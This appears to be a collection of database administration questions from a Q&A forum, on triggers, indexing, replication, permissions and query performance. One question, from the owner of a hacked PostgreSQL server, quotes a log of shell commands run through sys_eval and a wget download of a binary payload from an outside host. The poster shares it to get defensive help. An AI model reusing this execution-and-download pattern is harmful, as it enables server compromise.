texts: Trigger to change Database collation on creation

texts:
I'm trying to create a Trigger, to alter collation of a database on its creation, but how can I catch the database name to use inside the trigger?

USE master
GO
CREATE TRIGGER trg_DDL_ChangeCOllationDatabase
ON ALL SERVER
FOR CREATE_DATABASE
AS
declare @databasename varchar(200)
set @databasename =db_name()
    ALTER DATABASE @databasename COLLATE xxxxxxxxxxxxxxxxxxx
GO

Obviously, this is not working.


texts: Should an account be set up and used solely to install SQL Server?

texts:
I'd like to follow best practices.
However, is it overkill to create a new service account (with minimal access and no special rights) and then use that account to install SQL Server?
Are there downsides if I do the installation under my administrator account?
Side note: I already have separate service accounts that will run SQL Server engine and SQL Server Agent service.


texts: What is a good way to determine the performance I should expect from a PostgreSQL server?

texts:
Trying to figure out how I should expect my database to perform.  Basically, I need to determine when the server I have set up is reaching its performance limits - which would help me plan server scaling better.

This question aims more towards ways that I can calculate or estimate (really, any idea of this would be good) expected performance.  This should ideally help me come up with a formula I can run based on several factors (like record size, number of rows, etc), instead of a subjective assumption based on a particular server / DB.

So, what is a good way to determine expected performance on a PostgreSQL server?

Thanks very much!


texts: Update one mysql column when another is edited

texts:
I'm trying to make a datetime field that automatically gets updated with the current time only if there was a change to a certain field.

It seems I have a syntax error.
I try to have last_progress_date that gets the date when the progress_percentage is updated/edited:

CREATE OR ALTER TRIGGER last_progress_date
ON wp_task_mgr
AFTER UPDATE
AS BEGIN
   IF UPDATE (progress_percentage)
   SET last_progress_date = GETDATE()
END


texts: What will happen when a forum uses 24 char length as an URL ID?

texts:
I found a forum using self made/custom engine still in beta version, previously using vBulletin.

Now, their new engine uses very long URL id, 24 char length.

http://example.com/thread/000000000000000013186559/seo-friendly-title

What will happen to database performace when someone create URL id like this?
What the reason to use fixed and very long ID? This is very bad, isn't it?

FYI: this forum has more than 500,000,000 posts


texts: PostgreSQL: How find functions that use sys_eval

texts:
my server was hacked, I found this in the postgres log

2017-12-19 06:30:16 COT STATEMENT:  select sys_eval('pgrep baou87r1D9;pgrep 9rMhx24;pgrep Ps1fnYF3;pgrep P15xAw4;pgrep 8yV192n7;pgrep ktU5R693w2;pgrep VW5Ngjl;pgrep gwcaMW7;pgrep pvN195X8A;pgrep H80p3ao14Z;pgrep 6gBLwWlMrS;pgrep 78HgGw0L3;pgrep 5qKiw4e7gQ;pgrep iW35uqB60;pgrep qik7btShxK;pgrep xCi4Zze52;pgrep O0ajdnot;pgrep 6zmYcK1r;pgrep Hgb1hjvz;pgrep 38qz9Ivr;pgrep 0k693Runi;pgrep ax6fYNV;pgrep g3v50S64f7;pgrep 8y7kV496;pgrep 60m4qwFA;pgrep 0bs45q3k;pgrep 2R3e4g5l;pgrep 0a546q2T;pgrep c12yZ0v;pgrep KEq6m2kV5;');
--2017-12-19 06:31:09--  http://qwer.world/kw0rker

Resolviendo qwer.world... 138.197.116.216
Connecting to qwer.world|138.197.116.216|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 1643240 (1.6M) [application/octet-stream]
Saving to: `/tmp/x0597078a'

     0K .......... .......... .......... .......... ..........  3%  397K 4s
    50K .......... .......... .......... .......... ..........  6%  793K 3s
   100K .......... .......... .......... .......... ..........  9%  794K 2s
   150K .......... .......... .......... .......... .......... 12% 59.9M 2s
   200K .......... .......... .......... .......... .......... 15%  800K 2s
   250K .......... .......... .......... .......... .......... 18% 83.3M 1s
   300K .......... .......... .......... .......... .......... 21%  807K 1s
   350K .......... .......... .......... .......... .......... 24% 84.6M 1s
   400K .......... .......... .......... .......... .......... 28% 7.91M 1s

I deleted the files in tmp, stopped an unknown postgres process, and changed firewall rules, pg_hba conf and password for database user.

I don't know if the malicious code still persists and I need reinstall my postgres installation. My plan was search the function and try to prevent future problems but the documentation I found for sys_eval is very limited.

How can I find where sys_eval is used in my existing code?


texts: TempDB not selectable for DBCC maintenance plan

texts:
I'm trying to clean up some of our maintenance plans and noticed that our TempDB is not getting it's weekly dose of DBCC CHECKDB goodness.  I've tried to go into the maintenance plan and make sure it's there, but it's not showing up in the checkbox area.  Any ideas why that would happen or have any pointers to make tempDB selectable again? I know I can always just add an Execute SQL Task but I'd like to have this all taken care of in one step by the maintenance plan.  I've also tried creating a brand new plan and attempted to select it that way, still no joy.

It's a DW environment, 2008R2, 256GB RAM, 64 cores (HT enabled).  Our TempDB files/logs are on a FusionIO card by themselves so there's no contention.

Thanks again!


texts: mongorestore - documents fail validation

texts:
The similar question already have been asked: How to validate a mongorestore

But how to actually validate the documents in mongodumb and mongorestore?
And also - can I see the documents that fail validation and why do they fail it?

The commands I am using:

mongodump -d my_database -o ~/dump --gzip
mongorestore --drop --gzip dump

The mongo is of  4.x.x version (4.0.10 and 4.2.0).


texts: mysql - adding alias columns as a new column

texts:
I have the following mysql query...
select x.timest,
    max(case when x.devloc='outside' then x.value end) as outside,
    max(case when x.devloc='hvac_main_return' then x.value end) as hvac_main_return,
    max(case when x.devloc='hvac_main_supply' then x.value end) as hvac_main_supply
from sample x where date(timest) = curdate()
group by timest
order by timest desc;

It gives me output like this:
+---------------------+---------+------------------+------------------+
| timest              | outside | hvac_main_return | hvac_main_supply |
+---------------------+---------+------------------+------------------+
| 2021-01-28 23:59:54 | 24.8000 |          67.4375 |          82.9625 |
| 2021-01-28 23:58:45 | 24.9125 |          67.1000 |          80.8250 |
| 2021-01-28 23:57:42 | 24.9125 |          66.0875 |          78.2375 |
| 2021-01-28 23:56:33 | 24.9125 |          64.9625 |          74.8625 |
| 2021-01-28 23:55:32 | 25.0250 |          62.3750 |          73.0625 |
| 2021-01-28 23:54:17 | 25.0250 |          62.8250 |          74.7500 |
+---------------------+---------+------------------+------------------+

Does anyone know how I can add the difference between hvac_main_return and hvac_main_supply as another column?
EDIT:  More info as requested:
mysql> show create table sample\G
*************************** 1. row ***************************
       Table: sample
Create Table: CREATE TABLE `sample` (
  `property` varchar(50) DEFAULT NULL,
  `devloc` varchar(50) DEFAULT NULL,
  `sensortype` varchar(50) DEFAULT NULL,
  `timest` datetime DEFAULT NULL,
  `value` decimal(8,4) NOT NULL,
  KEY `property` (`property`),
  KEY `devloc` (`devloc`),
  KEY `sensortype` (`sensortype`),
  KEY `timest` (`timest`),
  KEY `value` (`value`),
  KEY `timest_2` (`timest`,`devloc`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
1 row in set (0.00 sec)


texts:
I'm designing a Postgres database for an events app.  The app lists events sorted by when they start.  Initially the app displays only 30 events.  As users scroll through the list of events, more events are fetched from the database.  In reduced form, the queries (depending on the direction in which the user is scrolling) are:

SELECT ?
FROM events
WHERE starts_at >= ?
ORDER BY starts_at
OFFSET ? LIMIT ?

SELECT ?
FROM events
WHERE starts_at < ?
ORDER BY starts_at DESC
OFFSET ? LIMIT ?

I plan on clustering the table on starts_at with a fill factor of about 70%, and expect I'll want to run the cluster command periodically to maintain performance.

Almost all of the events that users add will have a starts_at value in the future.  Therefore, although specifying a 70% fill factor for events which start in the future makes sense, using a 70% fill factor for events that started in the past seems like a waste of disk space.

Is there a way to have Postgres cluster the events table such that the fill factor for events where starts_at < CURRENT_TIMESTAMP is 99% while the fill factor for events where starts_at >= CURRENT_TIMESTAMP is 70%?


texts: SSIS Update (Replace) record instead of append based on Primary Key

texts:
I created an SSIS Pacakge that imports a monthly extract claims file. I have a simple Data Flow task, flat file to OLEDB Destination with a Derived column component in between used to generate a primary Key (based on a combination of 3 columns in the extract file).

What I would like to do if possible is have the SSIS package only import brand new records based on the primary key so that if there is a file that is being imported that contains a (generated) primary key that already exists in the destination table, then I would like the package to delete the existing record in the table and then add the new record from the current file being imported.

I know I could do this by having a staging table where I load the file and then using some sql queries (sp) to delete and add records to the table appropriately but I am trying to accomplish the import without needing to create a staging table because the table that I am currently populating, already is a staging table...

Is what I am trying to accomplish possible, using SSIS and only 1 destination table or will I need to create an additional staging table?


texts: String equality test fails for base64 encoded sha512 digest

texts:
I have the following table

   Column    |            Type            | Collation | Nullable |
-------------+----------------------------+-----------+----------+-------------------
 name        | text                       |           | not null |
 code        | text                       |           | not null |

I insert new elements using the following INSERT

INSERT INTO table(name, code)
    VALUES('SOMENAME',encode(digest(gen_random_uuid()::text,'sha512'), 'base64')) ;

Now when I try to SELECT against the code field:

SELECT * FROM tabel WHERE code='K5HUaRwxsXzkAl3NaWHbBkvnYEK/...';

It returns an empty set.

----------
(0 rows)

The puzzling part is that it seems to break only for SHA512 with base64 encoding , it works just fine if I use SHA256 or if I change the encoding to HEX.

I have a feeling that it might be a bug, but am I missing something?


texts: Update and Insert data from a updated table

texts:
I need help to update (and insert) data in table1 with newer data from table2.

I am in a very hard situation imagine that i will need to do it for 40 tables in a database of more than 300 tables running in production, if i want to do for all tables, i will just delete the database and restore the dump but this is not my case. I am trying to imagine how i can write a function to do this, using a loop for example, checking if the data is newer(update) or inexistent(insert). So i will need a very generic production or to program a very smart function.


texts: Joining table from Linked Server is very slow

texts:
I have a production SQL server and a linked server (Azure SQL Database)

I join two tables to do update

Table A - small table A in TempDB that has only 100 rows on SQL Server
Table B - on linked server, is about 90 MB in size and 334,000 rows total

When I run below query

update A
    set A.ColumnA = B.ColumnB
from #Table A
    join [LinkedServer].[DB].[dbo].[Table] B on
         A.ID = B.ID

The update of 100 rows takes about 18 seconds! 1000 or more rows take much more time

I made sure below is true:

Column B.ID is indexed
Collation Compatible setting in Linked Server Options is set to "True"

I even tried to significantly scale up Azure SQL DB (from 20 DTU to 800 DTU), but the speed of query (100 rows update) went from 18 sec to 8 sec which is still not acceptable

What am I missing ?
Is there any workarounds in this situation ?

Regards,


texts:
I have an INNODB table that's > 93 million rows. A lot of the data is considered "temp" data and is governed by an "is_active" flag of 1/0. When a user updates a form, new data is written with an "is_active=1" and the previous active records are updated to "is_active=0".

We wanted to move the data to a new table to clean up and ran statement like...

INSERT INTO tblNew (a, b, c)
SELECT a, b, c FROM tblOld WHERE is_active=1

This ran overnight and when I looked in the morning I noticed there were a bunch of processes backed up in the SHOW PROCESS LIST so I did a KILL on the process on the ID, which started the ROLLBACK and brought the server down for another 10 hours... production box of course.

I've been reading a lot on how you can try to repair, etc. and have been doing that all day, but I'm wondering if there's any kind of option I could have added to avoid the need for rollback on failure? Or is there a strategy commit or flush every X number of rows, etc.

I was trying this...

INSERT INTO tblNew (a, b, c)
SELECT a, b, c FROM tblOld WHERE is_active=1 AND pkID > 0 AND pkID < 1000000

Where the pkID was the primary key. I would run it in groups of 550k - 1M and up the number range for PK each run. There's an index on the PK and on is_active, yet I noticed speeds increased each run from 30 seconds to over 5 minutes a run by time it was in the 20M range. Any idea why this would take longer each run when it's the same number of rows for the work?

So 2 in summary, questions...

1) Can I do something to keep a huge rollback from happening if I stop the process?

2) Why did inserting the same number of items based on PK and indexed column take progressively longer per run?

Thanks


texts:
What would make a query that deletes a row using the primary key of the table .. take too long ?

This is a table with about 1.4M rows that gets .. 70%/30% read/write .

I don't know where to look.

Thanks.

EDIT

Engine: InnoDB
Columns: 30 - 40
Indexes:

SHOW INDEXES FROM produced this:

course_id           1   course_id   A   4516
complete_flag   1   complete_flag   A   16
pass_flag           1   pass_flag   A   16
reported_flag   1   reported_flag   A   16
student_id_2    1   student_id  A       50436
student_id_2    2   course_id   A       907849
student_id_2    3   complete_flag   A   907849
student_id_2    4   pass_flag   A       907849
reported_status 1   reported_status A   16
reported_status 2   reported_reason A   16
course_id_index 1   course_id   A       391
reported_flag   1   reported_flag   A   16

No Triggers

No Cascading

UPDATE

OK, so eventually things started getting worse and worse and after tuning some other queries  decided to restart the mysql server.

After restart the system needed to do a FSCK and after that it currently seems stable.

Thanks for the links in the answer, those will surely be very helpful in continuing to tune-up the database.

PS: the delete statement was a simple

delete from x_table where id = 1


texts:
On a table with several million rows, with an index on the only column in the where clause (varchar 100, full length indexed), would there be performance gains in making sure that the differences between those rows were early in them? i.e. would it be better if those columns contained:
variable stuff-constant stuff
rather than
constant stuff-variable stuff?


texts: How arrange columns in sp_whoisactive by Adam Machanic

texts: I really like using sp_whoisactive v11.11 by Adam Machanic. But when then info is displayed, the DB name is at the very end. I would like it to in the very first columns so I don't have to scroll everytime... Does anyone have suggestions to arrange columns


texts: How to UPDATE/DELETE/INSERT with Microsoft.ACE.OLEDB.12.0 as Linked Server in SQL Server 2012?

texts:
I need to update an Access 2003 database from SQL Server 2012 with the Microsoft.ACE.OLEDB.12.0 provider. As an administrator, everything works great. I can do Select, Insert, Update and Delete statements on the Access database without any problem but when i use a non-admin user, i can only do Select queries. The Insert, Update and Delete queries doesn't work and i get the following error message:

Error message when i use a SQL Server login:

  Cannot execute the query "SELECT * FROM inv_lign" against OLE DB
  provider "Microsoft.ACE.OLEDB.12.0" for linked server
  "AccessFileTest". The provider could not support an interface required
  for the UPDATE/DELETE/INSERT statements.The provider indicates that
  conflicts occurred with other properties or requirements.

Here's the query:

DELETE FROM
OPENQUERY(AccessFileTest,
    'SELECT * FROM inv_lign')

I have also tried the 4 parts query without success:

DELETE AccessFileTest...inv_lign;

Here's how the Microsoft.ACE.OLEDB.12.0 provider is configured:

Dynamic parameter = true
Allow inprocess = true
Added the key DisallowAdHocAccess = 0 in the registry

Here's how the Linked Server AccessFileTest is configured:

In the Security tab, i have selected "Be made using this security context"
The remote login is "admin" without any password

So how can i do Insert/Update/Delete statements on an Access 2003 database using the Microsoft.ACE.OLEDB.12.0 provider?

What i have tried so far:

I've been able to make it work ONLY if i use an AD user that is not sysadmin of SQL Server but who is Administrator of my server. If the user is not admin of the server, i get the error message Cannot initialize the data source object of OLE DB provider "Microsoft.ACE.OLEDB.12.0" for linked server "(null)".. I then tried to just add this user to have permission on the TEMP folder and on the Access file without success. So i don't know what specials rights i have to give to get this working with an AD User.
If i use a SQL Server login, i'm stock on the error message as stated before.


texts: Why doesn't running a full sample *always* improve query performance

texts:
Conventional wisdom would suggest that running a full sample of statistics would provide SQL with the optimum information to make the best decisions when forming a query plan for execution and therefore the best performance.

However, I have a number of queries (produced by Business Objects) which prefer a sample below 100%. The exact percent required for sample varies for success. What I want to know (but am struggling to find online) is why is why a 100% sample doesn't produce the best performance. Index maintenance is regular, every night following the 'Ola Hallengren' method.

The nature of the query makes it difficult to post (contains sensitive information) but those who are familiar with business objects queries will know they can be unwieldy. . .rather unusual in their construction, I often think its their setup which pokes the performance.

Thanks!


texts: Do I use INSERT w/ ON DUPLICATE KEY or INSERT/UPDATE separately?

texts:
Is it better to use

$Query = "INSERT INTO table (col1, col2) VALUES (:col1, :col2)
ON DUPLICATE KEY UPDATE col1 = VALUES(:col1), col2 = VALUES (:col2);"
    . . . .
$stmt->execute();

for a Submit and Update Buttons

Or is it better to use different INSERT/UPDATE Query for each button?

##SUBMIT_BUTTON
$Query = "INSERT INTO table (col1, col2) VALUES (:col1, :col2);"
    . . . .
$stmt->execute();

##UPDATE_BUTTON
$Query = "UPDATE table SET col1 = :col1, col2 = :col2;"
    . . . .
$stmt->execute();

Depending on Performance while having UNIQUE KEY on col1.

Simplified: Does

INSERT INTO . . . ON DUPLICATE KEY UPDATE . . .

Use an Extra step If I know that the INSERTed ROW is Duplicated, But instead of using the Traditional

UPDATE . . . SET . . . WHERE . . .

I used the INSERT with ON DUPLICATE KEY UPDATE?

Is the Performance affected Even if I had the correct INDEXES?


texts: Is the inverse of Armstrong's Axioms valid as well?

texts:
I have been looking into Armstrong's axioms a little bit. In a homework[1] exercise I was asked to prove A→G is in F-closure. I managed to get it at this point:

AB → GB

Being at this point, can I simply say that A → G as it seems pretty straightforward or do I have to go through certain steps as well. As Armstrong's axiom states:

if X → Y then XZ → YZ

Would the inverse be true as well ?

if XZ → YZ then X → Y  <-- ?

[1] I don't think the content of the homework does relate in here.


texts: Indexed View - how to verify if it is worthy?

texts:
I have the following indexed view:

CREATE view VProcessStatus
WITH SCHEMABINDING
AS
select processstatus,
      StatusCount = COUNT_BIG(*)
      FROM DBO.tbltaxtransaction
      GROUP BY processstatus

CREATE UNIQUE CLUSTERED INDEX IDX_VProcessStatus ON VProcessStatus (processstatus)

I have created it on a different database file, different filegroup.

This database is a subscriber, this table is highly updated.
I can tell this by running the following select:

select * from sys.objects
where object_id = object_id ('VProcessStatus')
go
select *
from sys.dm_db_index_usage_stats
where OBJECT_ID = object_id ('VProcessStatus')

How can I calculate the cost of having this indexed view?

The overload on inserts/updates/deletes?

The stats that I could look at so that I can decide if is it worth having it?


texts: Inserting Master database data into my database table

texts:
I put a trigger on one table on update, and I want to insert the last 15 executed queries into a table. Last executed queries are in the MASTER database as

SELECT top(15) dest.text AS [Query]
    FROM sys.dm_exec_query_stats AS deqs

   CROSS APPLY sys.dm_exec_sql_text(deqs.sql_handle) AS dest
      --inner join  sys.sysprocesses
     -- on sys.sysprocesses.sql_handle=deqs.sql_handle

      ORDER BY deqs.last_execution_time DESC

How can I insert these 15 queries into my database table as string? The trigger I am using is like this.

ALTER TRIGGER [dbo].[uom_cu]
ON  [dbo].[saleExpStockID] after update

AS

INSERT INTO zzuomupdate(date_cu, Query_r)
VALUES(getdate(), (SELECT top(15) dest.text AS [Query]
    FROM master.sys.dm_exec_query_stats AS deqs

   CROSS APPLY master.sys.dm_exec_sql_text(deqs.sql_handle) AS dest

      ORDER BY deqs.last_execution_time DESC))


texts: Does large table variables fill up logs in tempdb?

texts:
I'm running into an issue with a DBA who claims that table variables reside in ldf of the tempdb and when large amount of data is loaded into the table variable, the tempdb's logs fill up.

The DBA's solution is to use temporary table instead of table variable. While I see the justification to use the temp table in case of large data sets, I don't understand how temp table is created and stored in the mdf of tempdb where as the table variable is stored in ldf. Can someone please throw some light?


texts:
I created a full backup with SQL Server 2014 Management Studio. After that I removed it and created Differential backup, everything worked with no errors.
How the server knows against what differential backup needs to be done if original full backup was removed?


texts:
Is there are way to find how many times trigger is called in a particular session? Our ETL application is inserting records like each row instead of statement (ie) If 100 records are to be inserted I think ETL issuing 100 insert statements instead of inserting in a single batch. So trigger is also called 100 times. I just want to confirm that trigger is called 100 times.

I have a idea to alter the trigger to have counter and store it in a table to find the number of trigger calls.

Is there a native way to find this?


texts: Random unguessable primary key which preserves correct order

texts: I want primary keys in my table to be random and unguessable while still preserving correct order (order in which documents were inserted to database). Firebase uses this algorithm: https://gist.github.com/mikelehen/3596a30bd69384624c11. Is it a good idea to port it to psql or plv8 for example and use in postgres to generate primary keys for a table? Or maybe there is other solution out of the box in PG?


texts: Remove default value from NOT NULL column

texts:
I have an existing NOT NULL column which has a default value. I want to remove the default value so that the user is forced to enter a value.

mysql> SHOW CREATE TABLE items;
CREATE TABLE `items` (
   `id` int(11) NOT NULL AUTO_INCREMENT,
   `ordering` int(11) NOT NULL DEFAULT '0',
   PRIMARY KEY (`id`)
)

However, when I try to modify the column and set the default to null, mysql throws an error:

mysql> ALTER TABLE items MODIFY ordering INT(11) NOT NULL DEFAULT NULL;
ERROR 1067 (42000): Invalid default value for 'ordering'

How can I remove the default from this column without having to do something crazy like change it to nullable, then remove the default, then change it back to not null?


texts: ORA-01031: insufficient privileges ALTER PLUGGABLE DATABASE to OPEN

texts:
I'm currently working with Oracle database version 12c. I have created a common admin user - "C##ADMIN" with DBA Role. But when trying to execute the following script:

ALTER PLUGGABLE DATABASE TESTPDB OPEN;

I hit error:

  ORA-00990: missing or invalid privilege

How should I assign the correct roles/privileges to "C##ADMIN" in order to run script above?


texts: Adding PostgreSQL data source to excel didn't ask for credentials other than server IP and database

texts:
I saw Excel supported using PostgreSQL as a data source. I'm used to using ODBC connections for Access so having direct Postgres support is exciting.

When connecting I entered the Server IP and database name, selected my table, and data was pulled in. No Username, no password. Do I have some gaping security hole on my database? Shouldn't there be some sort of authentication?

I have an ODBC DSN for that server configured on this workstation and has set up a workbook using that DSN just a few minutes previously (which oddly enough requires a username and password even though the credentials are in the DSN)but I don't think that should be relevant.


texts: Can a member of the SQL server 'sysadmin' role login to any database?

texts:
I've been researching and can't find a definitive answer. So I apologize if this question is more obvious than I suspect. All documentation I can find definitively says 'sysadmin' roles can do absolutely anything on the server including accessing all databases.
Yet, if I try to connect using an explicitly defined database in the connection string (Using windows authentication), the sysadmin user fails to login if they have not been mapped to that database as well.
What is the definitive answer here? Is there a resource you can provide that specifies this?


texts: How can I change the number of @schedule_uid=N'????' to re-create a SQL Server Agent Job?

texts:
I have a SQL Server 2005 job in the SQL-Server Agent Jobs that I need to move/transfer to another updated SQL Server 2008 R2 instance. I was able to script it out and then use it as a new query window in the upgraded dev. server, It seems(as far as I know) that the only changes that I have to make to this script is to point it to the correct server, file path and get it a new @schedule_uid number but not sure how to assign that number.

This job was built for an SSIS package (as its pointing to in the file path)

Thanks for any advice

Script code is:

USE [msdb]
GO

/****** Object:  Job [eLFCopy]    Script Date: 12/19/2013 11:30:57 ******/
BEGIN TRANSACTION
DECLARE @ReturnCode INT
SELECT @ReturnCode = 0
/****** Object:  JobCategory [[Uncategorized (Local)]]]    Script Date: 12/19/2013 11:30:57 ******/
IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
BEGIN
EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback

END

DECLARE @jobId BINARY(16)
EXEC @ReturnCode =  msdb.dbo.sp_add_job @job_name=N'eLFCopy',
        @enabled=1,
        @notify_level_eventlog=0,
        @notify_level_email=0,
        @notify_level_netsend=0,
        @notify_level_page=0,
        @delete_level=0,
        @description=N'This job copies eLF files & folders from stage locations to active directories.',
        @category_name=N'[Uncategorized (Local)]',
        @owner_login_name=N'BIO\WDDocManagement', @job_id = @jobId OUTPUT
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
/****** Object:  Step [RunPackage]    Script Date: 12/19/2013 11:30:57 ******/
EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'RunPackage',
        @step_id=1,
        @cmdexec_success_code=0,
        @on_success_action=1,
        @on_success_step_id=0,
        @on_fail_action=2,
        @on_fail_step_id=0,
        @retry_attempts=0,
        @retry_interval=0,
        @os_run_priority=0, @subsystem=N'SSIS',
        @command=N'/FILE "C:\SSIS\Packages\elfcopy.dtsx" /CONNECTION "BRORPORAP1.WDDocumentManagement";"Data Source=BRORPORAP1;Initial Catalog=WDDocumentManagement;Provider=SQLNCLI.1;Integrated Security=SSPI;Auto Translate=False;" /CONNECTION RCSMTP;"SmtpServer=brutmurex3.bio.ri.redcross.net;UseWindowsAuthentication=True;EnableSsl=False;" /MAXCONCURRENT " -1 " /CHECKPOINTING OFF /REPORTING E',
        @database_name=N'master',
        @flags=0
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'WeeklySchedule',
        @enabled=1,
        @freq_type=8,
        @freq_interval=2,
        @freq_subday_type=1,
        @freq_subday_interval=0,
        @freq_relative_interval=0,
        @freq_recurrence_factor=1,
        @active_start_date=20110701,
        @active_end_date=99991231,
        @active_start_time=100,
        @active_end_time=235959,
        @schedule_uid=N'c406cae9-49b7-40dd-9438-cef44160f562'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
COMMIT TRANSACTION
GOTO EndSave
QuitWithRollback:
    IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
EndSave:

GO


texts: Rollback to savepoint with repeatable read isolation

texts:
I want to use savepoints to do subtransactions that I can rollback and retry within a transaction.

I have the following scenario when using repeatable read isolation on PostgreSQL 11.

START TRANSACTION ISOLATION LEVEL REPEATABLE READ;
SAVEPOINT x;
SELECT * FROM customer WHERE id = 1;
-- Another transaction updates this record.
-- Difficult application logic goes here to determine values for UPDATE.
UPDATE customer SET ... WHERE id = 1;
-- This fails (as expected) with a serialization error.

-- Rollback and try again.
ROLLBACK TO SAVEPOINT x;
SELECT * FROM customer WHERE id = 1;
-- Difficult application logic goes here to determine values for UPDATE.
UPDATE customer SET ... WHERE id = 1;
-- This fails unexpectedly with a serialization error.

My understanding is that rolling back to a savepoint restores the transaction to the state it was in when the savepoint was created.

I expected that I could ROLLBACK TO SAVEPOINT x and retry the SELECT/application logic/UPDATE cycle. However the SELECT still returns the old data and I still get a serialization error even though the transaction had not seen the relevant record before the savepoint.

Of course, one could also argue that as we are still in the same transaction and we are using repeatable read isolation, the database should return the old data and thus fail the UPDATE with a serialization error.

I would like to know if this a feature or a bug? Is this behavior per the standard or is it PostgreSQL specific?


texts:
77 million records in the Campaign Code table.

Index statement :

  INDEX IDX_CampaignCode_Id_CodeDateId_CodeId_CustomerId

  (CampaignId, CampaignCodeDateId, PKCampaignCodeId, CustomerId)

First query,
execution time : 0:00:0.546

SELECT
 cc.*
FROM CampaignCode cc
WHERE cc.CampaignId = 18
AND cc.CampaignCodeDateId = 19325
ORDER BY cc.PKCampaignCodeId LIMIT 20000 OFFSET 0;

Second query,
execution time : 0:01:11.597

SELECT
 cc.*
FROM CampaignCode cc
WHERE cc.CampaignId = 30
AND cc.CustomerId is not null
ORDER BY cc.PKCampaignCodeId LIMIT 25 OFFSET 0

Do not the second question need to be faster? What should I do?

Edit :

I created index for second query.

INDEX IDX_Test_Index

(CampaignId, CustomerId,PKCampaignCodeId)

After index create the second query is faster but first query slower

First query execute plan changed :
execution time : 0:01:17.236

CREATE TABLE CampaignCode (
  PKCampaignCodeId int(11) NOT NULL AUTO_INCREMENT,
  CampaignId int(11) NOT NULL,
  Code varchar(255) NOT NULL,
  CreatedBy int(11) NOT NULL,
  CreatedOn datetime NOT NULL,
  CustomerId int(11) DEFAULT NULL,
  IsActive bit(1) NOT NULL,
  IsUsed bit(1) DEFAULT NULL,
  ModifiedBy int(11) DEFAULT NULL,
  ModifiedOn datetime DEFAULT NULL,
  OrderNumber varchar(255) DEFAULT NULL,
  CampaignCodeDateId int(11) NOT NULL,
  PRIMARY KEY (PKCampaignCodeId),
  INDEX IDX_CampaignCode_CampaignId (CampaignId),
  INDEX IDX_CampaignCode_CampaignId_CodeDateId_CodeId_CampaignCodeId
            (CampaignId, CampaignCodeDateId, PKCampaignCodeId),
  INDEX IDX_CampaignCode_Code (Code),
  INDEX IDX_Test_Index (CampaignId, CustomerId, PKCampaignCodeId)
)
ENGINE = INNODB
AUTO_INCREMENT = 114306664
AVG_ROW_LENGTH = 61
CHARACTER SET latin5
COLLATE latin5_turkish_ci
ROW_FORMAT = DYNAMIC;


texts: Error: "To run a ssis package outside of sql server data tools you must install [send successful email] of Integration Services or higher."

texts:
NOTE that the title of this qusetion is a verbatim error message specific to this user. The error message illustrates a bug in the dtexec application, which substitutes a user variable into the error message string. In this case, the standard message Standard E
dition is replaced with send successful email.

The 'standard' error message would be :

Description: To run a SSIS package outside of Business Intelligence Development Studio you must install Standard Edition of Integration Services or higher.

Version SSIS 2012. Package was originally 2005 ver. Package on file system.

DB Engine / Agent on Host 1, SSIS on Host 2.

Execution from Host 2 runs successfully. Execution from Host 1 gives the error in the question subject. Saw this post, but engine and agent are installed on Host 1. Has anyone seen this? Google returns no results when searching on the exact error (subject line is exact, wording is odd in the error message).

Thank you!


texts: Make a temporary table visible for a function inside a function (or a subfunction)

texts:
I have two functions in PL/pgSQL:

The function 1 calls function 2, and function 2 needs to process a temporary table created on function 1, in another words, this temporary table needs to be global in the function 1 context (that have function 2 inside it).

FUNCTION1
   | CREATE TEMPORARY TABLE
   | DO SOME SPECIFIC STUFF...
   | FUNCTION2
         | DO SOME GENERIC STUFF
         | INSERT SOME DATA INTO THE TEMPORARY TABLE
         | (Uhh!! Ohh! it hurts, table not visible)
   | RAISED ON ERROR

There is a way to pass the temporary table created on function 1 to this subfunction?

I need it because i am working with a very big function that process a lot of data in a temporary table, before inserting all the big data, but when i try to turn into a more modular form, the subfunctions just can't see the temporary table).

It is working by now (in a big one function), but i am doing CTRL+C CTRL+V to create new similar functions, as a lot of codes can be repeated inside it. If i can use subfunctions this problem will go out, as i can use this code multiple times.


texts: MySQL join two table if second table is not empty

texts:
I have 2 tables like below

table 1: users

id   name
1    John
2    Jane
3    Mery
4    Alpha

table 2 : notes

id   note         owner created
1    alpha alpha    1   2013-02-03 10:30
2    yeah yeah..    2   2013-02-03 10:35
3    crap crap..    2   2013-02-03 10:50
2    yeah yeah..    3   2013-02-03 10:50
3    blah blah..    3   2013-02-03 10:55

Now i want to show in a list all the users with their latest notes
like below

id   name     note
1    John     alpha alpha
2    Jane     crap crap..
3    Mery     blah blah..
4    Alpha

How can I get this in one query?
(PS: I am using PHP for scripting)


texts: Can I move data and full text search files to another drive and change the drive letter?

texts:
My server's G: drive is rapidly running out of space.  It mainly contains data files (*.mdf) for both system and user databases.  The FullText Catalogs also exist on that drive.

IT added a much lager E: drive.

I would like to:

shutdown SQL Server
copy everything from G:\ to E:\
change the G:\ drive to X:\
change the E:\ drive to G:\
reboot

Will that cause any problems with SQL Server?  At the end of the process all of the files will be on the G:\ drive; just not on the original G:\ drive.


texts: Dropping and recreating indexes for performance reasons?

texts:
I'm maintaining Somebody Else's Code.  There's a stored procedure that's run once a day or week (depending on config), that migrates a bunch of records from an active table to an archive.  But it's not a true archive, since there are several live processes that include the archive table in SQL queries, which is properly indexed for the purpose.

